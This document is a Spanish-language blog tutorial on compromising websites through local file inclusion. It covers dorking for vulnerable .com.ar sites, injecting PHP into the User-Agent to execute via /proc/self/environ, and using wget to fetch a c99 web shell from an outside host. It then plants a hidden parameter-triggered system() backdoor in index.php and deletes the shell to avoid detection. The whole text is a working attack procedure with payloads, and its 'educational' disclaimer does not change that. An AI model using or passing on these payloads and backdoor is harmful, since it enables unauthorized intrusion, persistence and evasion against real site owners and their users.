Leyendo el Post de CalebBuker sobre LFI atrasves de php://input
desidi hacer un tutorial de otro metodo para concegir subir una shell por medio de LFI
utilizando injecciones php atraves de una vulnerabilidad en el /proc/self/environ
Empecemos:
Primero Buscamos con un dork alguna web Vulnerable a LFI
Dork:
inurl:*.php?page=* site:.com.ar
Vamos probando hasta encontrar una q al incluir /etc/passwd nos muestra su contenido
En este caso:
http://sitiovulnerable/index.php?page=/etc/passwd
Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado
http://sitiovulnerable/index.php?page=/proc/self/environ
Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:
Damos clik en Start Tamper y volvemos a realizar la Peticion al sitio web
Atrapa el Primer "paquete" y nos sale el siguiente cartel
Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el Parametro User-Agent intrudiciendo algun Codigo php, de Prueba, Yo intentare con <? System('ls'); ?> para ver si logramos listar el contenido de host.
Damos Click en OK y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:
Ahora Sabemos que se puede ejecutar Codigo Shell atraves de php con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)
Subiremos Nuestra Shell, de la siguiente forma.
Abriremos Tamper Data y comensaremos a Capturar.
Repetiremos la Peticion al host:
http://sitiovulnerable/index.php?page=/proc/self/environ
Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php
<? system('wget http://SitioDeLaShell/shell.txt'); ?>
Repetimos la Operacion Con Tamper Data y Comprobamos q nuestra shell se subio correctamente pasando como parametro en User-Agent
<? system('ls'); ?>
Vemos que dentro de la lista de archivos del host aparece nuestra shell
Convertiremos Nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como Parametro de User-Agent
<? system('mv c99.txt s.php'); ?>
Una ves Hecho Esto repetimos el procedimiento con tamper data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:
<? system('ls'); ?>
Como vemos el archivo fue Renombrado Correctamente, solo nos queda vistar nuestro archivo por medio de la URL
http://sitiovulerable/s.php
Como vemos la ejecucion de la shellphp, se ejecuto Correctamente. Como es un Sitio Importante y no queremos q nos detecten, introduciremos un backdoor dentro del codigo de algun archivo, yo elegi index.php
Les Dejo el code del backdoor q arme:
<?php
if($_GET['active']=='si'){
system( $_GET['c']);
}
?>
Lo Introduciremos dentro de index.php y al llamarlo desde
http://SutioVulnerable/index.php?c=ls&active=si
nos mostrara el resultado de la ejecucion del parametro q pasemos.
Solo nos queda Eliminar s.php con el comando rm s.php por medio de nuestro backdoor
http://SutioVulnerable/index.php?c=rm s.php&active=si
Listamos el Contenido del Host
http://SutioVulnerable/index.php?c=ls&active=si
y vemos q s.php ha desaparecido.
Espero que este tutorial les halla servido, HD_Breaker
Renuncia: No me hago Responsable del Uso que le den a este tutorial, su contenido es puramente educativo
0 comentarios:
Publicar un comentario